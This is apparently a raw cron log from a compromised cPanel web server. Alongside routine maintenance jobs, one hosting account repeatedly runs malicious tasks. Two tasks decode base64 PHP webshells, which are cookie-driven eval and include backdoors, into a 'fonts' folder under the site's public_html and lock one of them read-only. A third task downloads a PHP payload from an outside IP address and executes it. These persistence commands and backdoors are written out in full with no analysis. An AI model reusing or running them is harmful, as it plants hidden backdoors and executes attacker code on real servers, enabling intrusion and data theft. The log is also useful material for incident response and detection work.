Aug 30 13:30:01 ip-184-168-122-23 CROND[21385]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 13:31:01 ip-184-168-122-23 CROND[21495]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:31:01 ip-184-168-122-23 CROND[21497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:31:01 ip-184-168-122-23 CROND[21498]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 13:31:01 ip-184-168-122-23 CROND[21500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:31:01 ip-184-168-122-23 CROND[21499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:32:01 ip-184-168-122-23 CROND[21588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:32:01 ip-184-168-122-23 CROND[21590]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:32:01 ip-184-168-122-23 CROND[21591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:32:01 ip-184-168-122-23 CROND[21592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:32:01 ip-184-168-122-23 CROND[21593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:33:01 ip-184-168-122-23 CROND[21776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:33:01 ip-184-168-122-23 CROND[21780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:33:01 ip-184-168-122-23 CROND[21778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:33:01 ip-184-168-122-23 CROND[21779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:34:01 ip-184-168-122-23 CROND[21895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:34:01 ip-184-168-122-23 CROND[21898]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:34:01 ip-184-168-122-23 CROND[21899]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:34:01 ip-184-168-122-23 CROND[21900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:34:01 ip-184-168-122-23 CROND[21901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:35:01 ip-184-168-122-23 CROND[22008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:35:01 ip-184-168-122-23 CROND[22010]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 13:35:01 ip-184-168-122-23 CROND[22013]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:35:01 ip-184-168-122-23 CROND[22015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:35:01 ip-184-168-122-23 CROND[22016]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 13:35:01 ip-184-168-122-23 CROND[22012]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 13:35:01 ip-184-168-122-23 CROND[22011]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 13:35:01 ip-184-168-122-23 CROND[22017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:36:01 ip-184-168-122-23 CROND[22122]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:36:01 ip-184-168-122-23 CROND[22124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:36:01 ip-184-168-122-23 CROND[22127]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:36:01 ip-184-168-122-23 CROND[22125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:36:01 ip-184-168-122-23 CROND[22126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:37:01 ip-184-168-122-23 CROND[22220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:37:02 ip-184-168-122-23 CROND[22222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:37:02 ip-184-168-122-23 CROND[22223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:37:02 ip-184-168-122-23 CROND[22225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:38:01 ip-184-168-122-23 CROND[22313]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:38:01 ip-184-168-122-23 CROND[22315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:38:01 ip-184-168-122-23 CROND[22317]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:38:01 ip-184-168-122-23 CROND[22316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:38:01 ip-184-168-122-23 CROND[22318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:39:01 ip-184-168-122-23 CROND[22490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:39:02 ip-184-168-122-23 CROND[22494]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 13:39:02 ip-184-168-122-23 CROND[22493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:39:02 ip-184-168-122-23 CROND[22495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:39:02 ip-184-168-122-23 CROND[22496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:40:01 ip-184-168-122-23 CROND[22600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:40:01 ip-184-168-122-23 CROND[22601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:40:01 ip-184-168-122-23 CROND[22603]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 13:40:01 ip-184-168-122-23 CROND[22605]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 13:40:01 ip-184-168-122-23 CROND[22606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:40:01 ip-184-168-122-23 CROND[22607]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:40:01 ip-184-168-122-23 CROND[22610]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 13:40:01 ip-184-168-122-23 CROND[22611]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:41:01 ip-184-168-122-23 CROND[22699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:41:01 ip-184-168-122-23 CROND[22701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:41:01 ip-184-168-122-23 CROND[22703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:41:01 ip-184-168-122-23 CROND[22702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:42:01 ip-184-168-122-23 CROND[22781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:42:01 ip-184-168-122-23 CROND[22783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:42:01 ip-184-168-122-23 CROND[22786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:42:01 ip-184-168-122-23 CROND[22785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:42:01 ip-184-168-122-23 CROND[22784]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:43:01 ip-184-168-122-23 CROND[22866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:43:01 ip-184-168-122-23 CROND[22867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
